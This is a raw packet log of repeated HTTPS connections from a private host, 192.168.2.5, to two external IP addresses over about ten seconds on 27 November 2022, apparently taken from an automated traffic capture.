Nov 27, 2022 04:37:52.019177914 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.019187927 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.023441076 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.023452997 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.025892019 CET	49868	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:52.025944948 CET	443	49868	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:52.026019096 CET	49868	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:52.026376009 CET	49868	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:52.026391029 CET	443	49868	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:52.026436090 CET	443	49868	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:52.125001907 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.127414942 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.127440929 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.127509117 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.142891884 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.143021107 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.143444061 CET	443	49867	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:52.143524885 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.143980026 CET	49867	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:52.770864010 CET	49869	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:52.770942926 CET	443	49869	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:52.771164894 CET	49869	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:52.771529913 CET	49869	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:52.771564960 CET	443	49869	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:52.771637917 CET	443	49869	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.010495901 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.010565996 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.010689020 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.011260986 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.011293888 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.058427095 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.058651924 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.114840031 CET	49871	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.114895105 CET	443	49871	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.115005970 CET	49871	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.115372896 CET	49871	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.115395069 CET	443	49871	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.115452051 CET	443	49871	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.120526075 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.120582104 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.121025085 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.121262074 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.127619028 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.127657890 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.190918922 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.191037893 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.191078901 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.191328049 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.197403908 CET	49870	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.197458029 CET	443	49870	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.274903059 CET	49872	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.274966002 CET	443	49872	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.275068998 CET	49872	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.275362968 CET	49872	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.275384903 CET	443	49872	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.275480032 CET	443	49872	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.350347042 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.350435019 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.350658894 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.352749109 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.352794886 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.384594917 CET	49874	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.384649992 CET	443	49874	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.384769917 CET	49874	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.385265112 CET	49874	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.385288954 CET	443	49874	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.385379076 CET	443	49874	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.402071953 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.402174950 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.404057026 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.404076099 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.471889019 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.471924067 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.533431053 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.533585072 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.533684015 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.536290884 CET	49873	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.536328077 CET	443	49873	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.645149946 CET	49875	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.645241976 CET	443	49875	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.647511005 CET	49875	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.647854090 CET	49875	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.647896051 CET	443	49875	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.648536921 CET	443	49875	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.650619984 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.650710106 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.650816917 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.651294947 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.651345015 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.701409101 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.701514959 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.703026056 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.703042984 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.707722902 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.707747936 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.758632898 CET	49877	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.758696079 CET	443	49877	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.760020971 CET	49877	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.764177084 CET	49877	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.764202118 CET	443	49877	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.764297009 CET	443	49877	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.805912018 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.806061029 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.806180954 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.811898947 CET	49876	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.811929941 CET	443	49876	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.883514881 CET	49878	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.883577108 CET	443	49878	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.883671999 CET	49878	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.884083986 CET	49878	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:53.884109020 CET	443	49878	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.884213924 CET	443	49878	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:53.923409939 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.923516035 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.923610926 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.925194979 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.925239086 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.977063894 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:53.977190018 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.985488892 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:53.985528946 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.000031948 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.000082016 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.008452892 CET	49880	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.008538961 CET	443	49880	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.008661985 CET	49880	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.009064913 CET	49880	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.009104967 CET	443	49880	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.009186983 CET	443	49880	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.087095976 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.087229013 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.087264061 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.087328911 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.099889040 CET	49879	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.099948883 CET	443	49879	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.117810965 CET	49881	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.117878914 CET	443	49881	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.117965937 CET	49881	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.118367910 CET	49881	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.118402004 CET	443	49881	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.118482113 CET	443	49881	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.219234943 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.219327927 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.219429016 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.219968081 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.220002890 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.268471956 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.268600941 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.269207001 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.269229889 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.273725986 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.273746014 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.321116924 CET	49883	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.321178913 CET	443	49883	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.321265936 CET	49883	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.321619034 CET	49883	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.321634054 CET	443	49883	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.321721077 CET	443	49883	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.373704910 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.373796940 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.373847008 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.373877048 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.373910904 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.373938084 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.386564970 CET	49882	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:54.386599064 CET	443	49882	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:54.457449913 CET	49884	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:54.457525969 CET	443	49884	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:54.457612991 CET	49884	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:55.184263945 CET	49884	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:55.184343100 CET	443	49884	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:55.184457064 CET	443	49884	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:55.313743114 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.313822031 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.315274954 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.315989971 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.316029072 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.362893105 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.363265038 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.363949060 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.363969088 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.375152111 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.375166893 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.416776896 CET	49886	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:55.416851044 CET	443	49886	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:55.416951895 CET	49886	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:55.417426109 CET	49886	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:55.417457104 CET	443	49886	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:55.417542934 CET	443	49886	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:55.470485926 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.470577955 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.470630884 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.470771074 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.481596947 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.481686115 CET	443	49885	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:55.481767893 CET	49885	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:55.624919891 CET	49887	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:55.625010967 CET	443	49887	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:55.625137091 CET	49887	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:56.389240026 CET	49887	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:56.389308929 CET	443	49887	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:56.389411926 CET	443	49887	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:56.502228975 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.502290964 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.502388000 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.502928019 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.502950907 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.555955887 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.556138039 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.565490961 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.565536022 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.565985918 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.566061020 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.566720963 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.566736937 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.606215954 CET	49889	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:56.606293917 CET	443	49889	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:56.606393099 CET	49889	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:56.606775999 CET	49889	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:56.606803894 CET	443	49889	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:56.606900930 CET	443	49889	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:56.661026955 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.661104918 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.661123037 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.661169052 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.661173105 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:56.661216974 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.662724972 CET	49888	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:56.662740946 CET	443	49888	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:57.645132065 CET	49890	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:57.645212889 CET	443	49890	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:57.645330906 CET	49890	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:57.647840023 CET	49890	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:57.647876978 CET	443	49890	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:57.647986889 CET	443	49890	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:57.829842091 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:57.829909086 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:57.830013990 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:57.838865995 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:57.838901997 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:57.888748884 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:57.889142990 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:57.906199932 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:57.906224012 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:57.947906971 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:57.947940111 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:57.952991962 CET	49892	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:57.953090906 CET	443	49892	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:57.953231096 CET	49892	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:57.957139015 CET	49892	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:57.957209110 CET	443	49892	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:57.957370043 CET	443	49892	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:58.016839027 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:58.017024040 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:58.017061949 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:58.017131090 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:58.043786049 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:58.044032097 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:58.044120073 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:58.044631004 CET	443	49891	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:58.044713974 CET	49891	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.157409906 CET	49893	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:59.157471895 CET	443	49893	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:59.157689095 CET	49893	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:59.158044100 CET	49893	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:59.158070087 CET	443	49893	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:59.158230066 CET	443	49893	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:59.191327095 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.191420078 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.192624092 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.259574890 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.259656906 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.306180000 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.306457043 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.315481901 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.315536976 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.316021919 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.317766905 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.318715096 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.318732023 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.393064022 CET	49895	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:59.393146038 CET	443	49895	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:59.399069071 CET	49895	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:59.399877071 CET	49895	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:59.399912119 CET	443	49895	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:59.400001049 CET	443	49895	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:59.410769939 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.411597967 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.411647081 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.413837910 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.446794987 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.446973085 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.447216988 CET	443	49894	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:59.448245049 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:59.448245049 CET	49894	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.511209011 CET	49896	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:00.511276007 CET	443	49896	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:00.511593103 CET	49896	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:00.511951923 CET	49896	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:00.511977911 CET	443	49896	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:00.512032986 CET	443	49896	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:00.614228964 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.614283085 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.614733934 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.624887943 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.624917030 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.670208931 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.682176113 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.706741095 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.706780910 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.707480907 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.708409071 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.717364073 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.717396021 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.737440109 CET	49898	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:00.737524986 CET	443	49898	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:00.740611076 CET	49898	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:00.741004944 CET	49898	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:00.741046906 CET	443	49898	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:00.741134882 CET	443	49898	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:00.778654099 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.779081106 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.779124022 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.787786007 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.792711020 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.792902946 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.793478012 CET	443	49897	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:00.805203915 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:00.805205107 CET	49897	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.668142080 CET	49899	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:01.668219090 CET	443	49899	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:01.668437004 CET	49899	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:01.669200897 CET	49899	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:01.669234037 CET	443	49899	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:01.669359922 CET	443	49899	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:01.781398058 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.781491041 CET	443	49900	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:01.783962011 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.794249058 CET	49900	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:01.794318914 CET	443	49900	172.66.43.60	192.168.2.5
